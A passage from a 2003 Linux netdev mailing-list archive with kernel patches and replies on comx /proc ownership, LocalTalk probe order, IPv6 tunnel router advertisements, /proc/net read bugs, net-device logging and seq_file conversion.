+1471,7 @@ #ifdef USE_TPD_POOL he_dev->tpd_pool = pci_pool_create("tpd", he_dev->pci_dev, - sizeof(struct he_tpd), TPD_ALIGNMENT, 0); + sizeof(struct he_tpd), TPD_ALIGNMENT, 0, SLAB_KERNEL); if (he_dev->tpd_pool == NULL) { hprintk("unable to create tpd pci_pool\n"); return -ENOMEM; From shemminger@osdl.org Wed Sep 3 12:38:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 12:38:38 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83Jc3WZ028808 for ; Wed, 3 Sep 2003 12:38:04 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h83IeEo02308; Wed, 3 Sep 2003 11:40:15 -0700 Date: Wed, 3 Sep 2003 11:40:00 -0700 From: Stephen Hemminger To: =?ISO-8859-1?Q?P=C3=A1sztor_Szil=C3=A1rd?= Cc: Jeff Garzik , netdev@oss.sgi.com Subject: [PATCH] comx - set owner on /proc entries Message-Id: <20030903114000.0b330411.shemminger@osdl.org> In-Reply-To: References: <013201c34f6f$0ae46410$2357e1c1@keszi> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h83Jc3WZ028808 X-archive-position: 5543 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Set owner field on all the /proc entries created. I know this is marked as OBSOLETE today, but Pásztor is working on it and probably should include this Builds, but no hardware to test... diff -Nru a/drivers/net/wan/comx-hw-comx.c b/drivers/net/wan/comx-hw-comx.c --- a/drivers/net/wan/comx-hw-comx.c Wed Sep 3 11:36:22 2003 +++ b/drivers/net/wan/comx-hw-comx.c Wed Sep 3 11:36:22 2003 @@ -1250,6 +1250,7 @@ == NULL) { goto cleanup_HW_privdata; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &comxhw_read_proc; new_file->write_proc = &comxhw_write_proc; @@ -1260,6 +1261,7 @@ == NULL) { goto cleanup_filename_io; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &comxhw_read_proc; new_file->write_proc = &comxhw_write_proc; @@ -1270,6 +1272,7 @@ ch->procdir)) == NULL) { goto cleanup_filename_irq; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &comxhw_read_proc; new_file->write_proc = &comxhw_write_proc; @@ -1281,6 +1284,7 @@ ch->procdir)) == NULL) { goto cleanup_filename_channel; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &comxhw_read_proc; new_file->write_proc = &comxhw_write_proc; @@ -1292,6 +1296,7 @@ ch->procdir)) == NULL) { goto cleanup_filename_clock; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &comxhw_read_proc; new_file->write_proc = &comxhw_write_proc; @@ -1302,6 +1307,7 @@ ch->procdir)) == NULL) { goto cleanup_filename_memaddr; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &comxhw_read_proc; new_file->write_proc = NULL; @@ -1311,6 +1317,7 @@ ch->procdir)) == NULL) { goto cleanup_filename_twin; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &comxhw_read_proc; new_file->write_proc = &comxhw_write_proc; diff -Nru a/drivers/net/wan/comx-hw-locomx.c b/drivers/net/wan/comx-hw-locomx.c --- a/drivers/net/wan/comx-hw-locomx.c Wed Sep 3 11:36:22 2003 +++ b/drivers/net/wan/comx-hw-locomx.c Wed Sep 3 11:36:22 2003 @@ -395,6 +395,7 @@ ch->procdir)) == NULL) { goto cleanup_HW_privdata; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &locomx_read_proc; new_file->write_proc = &locomx_write_proc; @@ -404,6 +405,7 @@ ch->procdir)) == NULL) { goto cleanup_filename_io; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &locomx_read_proc; new_file->write_proc = &locomx_write_proc; @@ -415,6 +417,7 @@ ch->procdir)) == NULL) { return -EIO; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &locomx_read_proc; new_file->write_proc = &locomx_write_proc; diff -Nru a/drivers/net/wan/comx-hw-mixcom.c b/drivers/net/wan/comx-hw-mixcom.c --- a/drivers/net/wan/comx-hw-mixcom.c Wed Sep 3 11:36:22 2003 +++ b/drivers/net/wan/comx-hw-mixcom.c Wed Sep 3 11:36:22 2003 @@ -841,6 +841,7 @@ ch->procdir)) == NULL) { goto cleanup_HW_privdata; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &mixcom_read_proc; new_file->write_proc = &mixcom_write_proc; @@ -850,6 +851,7 @@ ch->procdir)) == NULL) { goto cleanup_filename_io; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &mixcom_read_proc; new_file->write_proc = &mixcom_write_proc; @@ -860,6 +862,7 @@ ch->procdir)) == NULL) { return -EIO; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &mixcom_read_proc; new_file->write_proc = &mixcom_write_proc; @@ -870,6 +873,7 @@ ch->procdir)) == NULL) { goto cleanup_filename_irq; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &mixcom_read_proc; new_file->write_proc = &mixcom_write_proc; @@ -879,6 +883,7 @@ ch->procdir)) == NULL) { goto cleanup_filename_channel; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &mixcom_read_proc; new_file->write_proc = &mixcom_write_proc; diff -Nru a/drivers/net/wan/comx-hw-munich.c b/drivers/net/wan/comx-hw-munich.c --- a/drivers/net/wan/comx-hw-munich.c Wed Sep 3 11:36:22 2003 +++ b/drivers/net/wan/comx-hw-munich.c Wed Sep 3 11:36:22 2003 @@ -2672,6 +2672,7 @@ if ((new_file = create_proc_entry(FILENAME_BOARDNUM, S_IFREG | 0644, ch->procdir)) == NULL) return init_escape(ch); + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &munich_read_proc; new_file->write_proc = &munich_write_proc; @@ -2683,6 +2684,7 @@ if ((new_file = create_proc_entry(FILENAME_TIMESLOTS, S_IFREG | 0644, ch->procdir)) == NULL) return init_escape(ch); + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &munich_read_proc; new_file->write_proc = &munich_write_proc; @@ -2692,6 +2694,7 @@ if ((new_file = create_proc_entry(FILENAME_FRAMING, S_IFREG | 0644, ch->procdir)) == NULL) return init_escape(ch); + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &munich_read_proc; new_file->write_proc = &munich_write_proc; @@ -2701,6 +2704,7 @@ if ((new_file = create_proc_entry(FILENAME_LINECODE, S_IFREG | 0644, ch->procdir)) == NULL) return init_escape(ch); + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &munich_read_proc; new_file->write_proc = &munich_write_proc; @@ -2710,6 +2714,7 @@ if ((new_file = create_proc_entry(FILENAME_CLOCK_SOURCE, S_IFREG | 0644, ch->procdir)) == NULL) return init_escape(ch); + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &munich_read_proc; new_file->write_proc = &munich_write_proc; @@ -2719,6 +2724,7 @@ if ((new_file = create_proc_entry(FILENAME_LOOPBACK, S_IFREG | 0644, ch->procdir)) == NULL) return init_escape(ch); + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &munich_read_proc; new_file->write_proc = &munich_write_proc; @@ -2729,6 +2735,7 @@ /* DEL: ez itt csak fejlesztesi celokra!! */ if ((new_file = create_proc_entry(FILENAME_REG, S_IFREG | 0200, ch->procdir)) == NULL) return init_escape(ch); + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &munich_read_proc; new_file->write_proc = &munich_write_proc; @@ -2739,6 +2746,7 @@ if ((new_file = create_proc_entry(FILENAME_LBIREG, S_IFREG | 0200, ch->procdir)) == NULL) return init_escape(ch); + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &munich_read_proc; new_file->write_proc = &munich_write_proc; diff -Nru a/drivers/net/wan/comx-proto-fr.c b/drivers/net/wan/comx-proto-fr.c --- a/drivers/net/wan/comx-proto-fr.c Wed Sep 3 11:36:22 2003 +++ b/drivers/net/wan/comx-proto-fr.c Wed Sep 3 11:36:22 2003 @@ -810,6 +810,7 @@ ch->procdir)) == NULL) { goto cleanup_LINE_privdata; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &fr_read_proc; new_file->write_proc = &fr_write_proc; @@ -820,6 +821,7 @@ ch->procdir)) == NULL) { goto cleanup_filename_dlci; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &fr_read_proc; new_file->write_proc = &fr_write_proc; @@ -870,6 +872,7 @@ goto cleanup_LINE_privdata; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &fr_read_proc; new_file->write_proc = &fr_write_proc; @@ -880,6 +883,7 @@ ch->procdir)) == NULL) { goto cleanup_filename_dlci; } + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &fr_read_proc; new_file->write_proc = &fr_write_proc; diff -Nru a/drivers/net/wan/comx-proto-lapb.c b/drivers/net/wan/comx-proto-lapb.c --- a/drivers/net/wan/comx-proto-lapb.c Wed Sep 3 11:36:22 2003 +++ b/drivers/net/wan/comx-proto-lapb.c Wed Sep 3 11:36:22 2003 @@ -499,6 +499,7 @@ struct proc_dir_entry *new_file; if ((new_file = create_proc_entry(name, S_IFREG | mode, dir)) != NULL) { + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &comxlapb_read_proc; new_file->write_proc = &comxlapb_write_proc; diff -Nru a/drivers/net/wan/comx.c b/drivers/net/wan/comx.c --- a/drivers/net/wan/comx.c Wed Sep 3 11:36:22 2003 +++ b/drivers/net/wan/comx.c Wed Sep 3 11:36:22 2003 @@ -563,7 +563,6 @@ return min_t(int, count, len - off); } - static int comx_root_read_proc(char *page, char **start, off_t off, int count, int *eof, void *data) { @@ -788,6 +787,7 @@ goto cleanup_dev; } + new_dir->owner = THIS_MODULE; new_dir->nlink = 2; new_dir->data = NULL; // ide jon majd a struct dev @@ -811,6 +811,7 @@ S_IFREG | 0644, new_dir)) == NULL) { goto cleanup_filename_lineupdelay; } + debug_file->owner = THIS_MODULE; debug_file->data = (void *)debug_file; debug_file->read_proc = NULL; // see below debug_file->write_proc = &comx_write_proc; @@ -972,6 +973,7 @@ struct proc_dir_entry *new_file; if ((new_file = create_proc_entry(name, S_IFREG | mode, dir)) != NULL) { + new_file->owner = THIS_MODULE; new_file->data = (void *)new_file; new_file->read_proc = &comx_read_proc; new_file->write_proc = &comx_write_proc; @@ -1077,6 +1079,7 @@ S_IFDIR | S_IWUSR | S_IRUGO | S_IXUGO, &proc_root); if (!comx_root_dir) return -ENOMEM; + comx_root_dir->owner = THIS_MODULE; comx_root_dir->proc_iops = &comx_root_inode_ops; if ((new_file = create_proc_entry(FILENAME_HARDWARELIST, @@ -1084,6 +1087,7 @@ return -ENOMEM; } + new_file->owner = THIS_MODULE; new_file->data = new_file; new_file->read_proc = &comx_root_read_proc; new_file->write_proc = NULL; @@ -1094,6 +1098,7 @@ return -ENOMEM; } + new_file->owner = THIS_MODULE; new_file->data = new_file; new_file->read_proc = &comx_root_read_proc; new_file->write_proc = NULL; From silicon@inf.bme.hu Wed Sep 3 14:39:17 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 14:39:51 -0700 (PDT) Received: from kempelen.iit.bme.hu (kempelen.iit.bme.hu [152.66.241.120]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83LdFWZ006717 for ; Wed, 3 Sep 2003 14:39:16 -0700 Received: from localhost (silicon@localhost) by kempelen.iit.bme.hu (8.11.7+Sun/8.11.6) with SMTP id h83LLX321664; Wed, 3 Sep 2003 23:21:34 +0200 (MET DST) Date: Wed, 3 Sep 2003 23:21:33 +0200 (MET DST) From: =?ISO-8859-2?Q?P=E1sztor_Szil=E1rd?= X-Sender: silicon@kempelen.iit.bme.hu To: Stephen Hemminger cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] comx - set owner on /proc entries In-Reply-To: <20030903114000.0b330411.shemminger@osdl.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-2 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by oss.sgi.com id h83LdFWZ006717 X-archive-position: 5544 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: silicon@inf.bme.hu Precedence: bulk X-list: netdev Stephen Hemminger: > Set owner field on all the /proc entries created. > > I know this is marked as OBSOLETE today, but Pásztor is working on it > and probably should include this > > Builds, but no hardware to test... Thanks. Affirmative. -------------------------------------------- | Don't panic! Count to ten. Then panic. | -------------------------------------------- From pekkas@netcore.fi Thu Sep 4 06:46:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 06:47:01 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84DkNWZ029308 for ; Thu, 4 Sep 2003 06:46:25 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h83Jb0k23718; Wed, 3 Sep 2003 22:37:00 +0300 Date: Wed, 3 Sep 2003 22:36:59 +0300 (EEST) From: Pekka Savola To: Ville Nuorvala cc: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= , , , Subject: Re: [PATCH] IPv6: (5/5+1) Autoconfig link-local addr to IPv6 tunnels In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5552 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Wed, 3 Sep 2003, Ville Nuorvala wrote: > Who says it isn't possible? The user who thinks he knows better can change > the accept_ra (and rtr_solicits) flag for the tunnel dev and start > receiving RAs through it. right, but.. > > _However_, that doesn't make sense unless you have a more specific route > > to the destination IPv6 tunnel endpoint. > > Yes, exactly. And what should the node do if it just has two default > routes, one through a tunnel and one through an ethernet interface? This > will be the case if a normal host receives RAs through both interfaces. > > At least two things can go wrong: > 1) A packet intended to the tunnel is sent straight through the ethernet > device > 2) A packet already encapsulated by the tunnel is rerouted through it and > is thus dropped > > Based on my own experiences, I can say things like this do happen. Well, could it too hacky to implement a check which ensures that if you add a route over a tunnel, there must be a more specific route to the tunnel endpoint? -- otherwise adding the route would fail? (not sure what it would require to make it so, or whether an approach like this would turn out to be infeasible in the end -- but this would seem to be very feasible to me..) I'm a bit concerned by this, but if folks think disabling RA's by default on ipv6-in-ipv6 tunnels is enough, fine.. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From shemminger@osdl.org Thu Sep 4 09:08:21 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 09:08:27 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84G8KWZ007321 for ; Thu, 4 Sep 2003 09:08:20 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h84FVbo28903; Thu, 4 Sep 2003 08:31:37 -0700 Date: Thu, 4 Sep 2003 08:31:24 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] (1/8) add probe_old_netdevs hook Message-Id: <20030904083124.2a6c795c.shemminger@osdl.org> In-Reply-To: <20030903204150.14273da8.davem@redhat.com> References: <20030903164908.14705874.shemminger@osdl.org> <3F568C88.4030303@pobox.com> <20030903204150.14273da8.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5559 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Wed, 3 Sep 2003 20:41:50 -0700 "David S. Miller" wrote: > On Wed, 03 Sep 2003 20:51:20 -0400 > Jeff Garzik wrote: > > > All the patches except for #3 look ok to me. > > > > David? Here is a patch that restores the original order. Applies after original #3 patch diff -Nru a/drivers/net/appletalk/ltpc.c b/drivers/net/appletalk/ltpc.c --- a/drivers/net/appletalk/ltpc.c Thu Sep 4 08:30:59 2003 +++ b/drivers/net/appletalk/ltpc.c Thu Sep 4 08:30:59 2003 @@ -1046,6 +1046,16 @@ SET_MODULE_OWNER(dev); /* probe for the I/O port address */ + if (io != 0x240 && request_region(0x220,8,"ltpc")) { + x = inb_p(0x220+6); + if ( (x!=0xff) && (x>=0xf0) ) { + io = 0x220; + goto got_port; + } + else { + release_region(0x220,8); + } + } if (io != 0x220 && request_region(0x240,8,"ltpc")) { y = inb_p(0x240+6); @@ -1053,16 +1063,10 @@ io = 0x240; goto got_port; } - release_region(0x240,8); - } - if (io != 0x240 && request_region(0x220,8,"ltpc")) { - x = inb_p(0x220+6); - if ( (x!=0xff) && (x>=0xf0) ) { - io = 0x220; - goto got_port; + else { + release_region(0x240,8); } - release_region(0x220,8); - } + } /* give up in despair */ printk(KERN_ERR "LocalTalk card not found; 220 = %02x, 240 = %02x.\n", x,y); From jfbeam@bluetronic.net Thu Sep 4 13:34:25 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:35:11 -0700 (PDT) Received: from sweetums.bluetronic.net (sweetums.bluetronic.net [24.199.150.42]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KYOWZ015066 for ; Thu, 4 Sep 2003 13:34:25 -0700 Received: from localhost (jfbeam@localhost) by sweetums.bluetronic.net (8.11.7/8.11.7) with ESMTP id h84GL0L15367; Thu, 4 Sep 2003 12:21:00 -0400 (EDT) Date: Thu, 4 Sep 2003 12:21:00 -0400 (EDT) From: Ricky Beam To: "David S. Miller" cc: "YOSHIFUJI Hideaki / _$B5HF#1QL@" , , Subject: Re: /proc/net/* read drops data In-Reply-To: <20030904004638.1d4b001d.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5561 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jfbeam@bluetronic.net Precedence: bulk X-list: netdev On Thu, 4 Sep 2003, David S. Miller wrote: >> D: Fixing a bug that reading /proc/net/{udp,udp6} may drop some data > >This fix looks good to me. Applied. That might fix udp, but that's not the only one to be fixed. I'll compile a list. (tcp for sure.) --Ricky From jfbeam@bluetronic.net Thu Sep 4 13:34:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:35:11 -0700 (PDT) Received: from sweetums.bluetronic.net (sweetums.bluetronic.net [24.199.150.42]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KYOWb015066 for ; Thu, 4 Sep 2003 13:34:26 -0700 Received: from localhost (jfbeam@localhost) by sweetums.bluetronic.net (8.11.7/8.11.7) with ESMTP id h84GPG115429; Thu, 4 Sep 2003 12:25:16 -0400 (EDT) Date: Thu, 4 Sep 2003 12:25:16 -0400 (EDT) From: Ricky Beam To: "David S. Miller" cc: "YOSHIFUJI Hideaki / _$B5HF#1QL@" , , Subject: Re: /proc/net/* read drops data In-Reply-To: <20030904004638.1d4b001d.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5560 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jfbeam@bluetronic.net Precedence: bulk X-list: netdev On Thu, 4 Sep 2003, David S. Miller wrote: >> D: Fixing a bug that reading /proc/net/{udp,udp6} may drop some data > >This fix looks good to me. Applied. The list: (file) (bs=1) (bs=10000) /proc/net/igmp 122 191 /proc/net/route 128 384 /proc/net/rt_acct 0 4096 /proc/net/rt_cache 384 512 /proc/net/tcp 1800 1950 /proc/net/udp 1024 1152 (I don't have ipv6 enabled) --Ricky From jgarzik@pobox.com Thu Sep 4 13:46:56 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:47:36 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KksWZ017526 for ; Thu, 4 Sep 2003 13:46:55 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35170 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19ubUK-0003sp-VE; Wed, 03 Sep 2003 18:32:13 +0100 Message-ID: <3F562590.60101@pobox.com> Date: Wed, 03 Sep 2003 13:32:00 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Jim Keniston CC: Greg KH , LKML , netdev , "Feldman, Scott" , Larry Kessler , Randy Dunlap , Alan Cox , Andrew Morton Subject: Re: [PATCH 1/4] Net device error logging, revised References: <3F4A8027.6FE3F594@us.ibm.com> <20030826183221.GB3167@kroah.com> <3F4BEE68.A6C862C2@us.ibm.com> <3F4BF265.5050101@pobox.com> <3F4C046D.77CF7E03@us.ibm.com> In-Reply-To: <3F4C046D.77CF7E03@us.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5563 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Jim Keniston wrote: > Jeff Garzik wrote: >>"NETIF_MSG_" is silly and should be eliminated. > > >>From this, I infer that you think that the option to "omit" the msglevel arg -- > e.g., > netdev_err(dev,, "NIC is fried!\n"); /* always logged */ > -- is silly. No big deal. Its sole purpose is to help keep netdev_* calls terse. yes >>A separate "NETIF_MSG_ALL" test is not needed, because msg_enable is a >>bitmask. A msg_enable of 0xffffffff will naturally create a NETIF_MSG_ALL. > > > But how do you code a netdev_* call where you ALWAYS want the message (including > netdev_printk-style prefix) logged, regardless of the value of msg_enable? That's > what NETIF_MSG_ALL is for (and why it might be better called NETIF_MSG_ALWAYS)... I understand the purpose of NETIF_MSG_ALL; re-read what I said. You don't need a separate _test_, as your implementation includes. Defining NETIF_MSG_ALL to 0xffffffff will naturally create the effect you seek. >>Also, whatever mechanism is created, it needs to preserve the feature of >>the existing system: >> >> if (a quick bitmask test) >> do something >> >>And preferably "do something" is not inlined, because printk'ing -- >>although it may appear in a fast path during debugging -- cannot be >>considered a fast path itself. > Sorry, I'm not sure what you're getting at here. netdev_* doesn't prevent > people from using the existing netif_msg_* macros; it just provides shorthand > for the (usual) case where "do something" is "printk". I would prefer to be more ambitious. If we're gonna go in and change every printk in a driver, we might as well do it right, and (a) make sure the driver does msg_enable, and (b) make the source code a bit more clean by hiding the "if (test bitmap)" test in your netdev_xxx stuff. Jeff From shemminger@osdl.org Thu Sep 4 13:47:38 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:47:41 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KlbWZ017650 for ; Thu, 4 Sep 2003 13:47:38 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h84JEZo08733; Thu, 4 Sep 2003 12:14:36 -0700 Date: Thu, 4 Sep 2003 12:14:21 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] (8/8) loopback device simplification Message-Id: <20030904121421.51b2f993.shemminger@osdl.org> In-Reply-To: <20030903204105.0f01f131.davem@redhat.com> References: <20030903164921.7d923008.shemminger@osdl.org> <3F568AC0.5090601@pobox.com> <20030903204105.0f01f131.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5564 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Wed, 3 Sep 2003 20:41:05 -0700 "David S. Miller" wrote: > On Wed, 03 Sep 2003 20:43:44 -0400 > Jeff Garzik wrote: > > > Would be nice to move dev_base and dev_base_lock somewhere, maybe > > drivers/net/net_init.c (which really should be renamed libnet.c) or > > perhaps somewhere in net/* > > Once all of the conversions are done, we can happily move > this someone. My personal preference would be net/core/dev.c, > as I believe we can limit all of the modifications to there > eventually and thus not have to export those two symbols to > the entire kernel any more. > > The fact that we export the list and it's locking makes it > really hard to change things. my current idea is to switch dev_base_lock over to RCU and change dev_base to a list macro. #define for_each_netdev(_d) list_for_each_entry_rcu(_d, &netdev_base, dev_list) ... From shemminger@osdl.org Thu Sep 4 13:47:41 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:47:44 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KlbWb017650 for ; Thu, 4 Sep 2003 13:47:40 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h84Inao04523; Thu, 4 Sep 2003 11:49:36 -0700 Date: Thu, 4 Sep 2003 11:49:22 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: [PATCH] convert /proc/net/unix to seq_file Message-Id: <20030904114922.555841cd.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5565 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Applies against 2.6.0-test4. diff -Nru a/net/unix/af_unix.c b/net/unix/af_unix.c --- a/net/unix/af_unix.c Thu Sep 4 10:35:58 2003 +++ b/net/unix/af_unix.c Thu Sep 4 10:35:58 2003 @@ -111,6 +111,7 @@ #include #include #include +#include #include #include #include @@ -1805,25 +1806,52 @@ #ifdef CONFIG_PROC_FS -static int unix_read_proc(char *buffer, char **start, off_t offset, - int length, int *eof, void *data) +static struct sock *unix_seq_idx(int *iter, loff_t pos) { - off_t pos=0; - off_t begin=0; - int len=0; - int i; + loff_t off = 0; struct sock *s; - - len+= sprintf(buffer,"Num RefCount Protocol Flags Type St " - "Inode Path\n"); + for (s = first_unix_socket(iter); s; s = next_unix_socket(iter, s)) { + if (off == pos) + return s; + ++off; + } + return NULL; 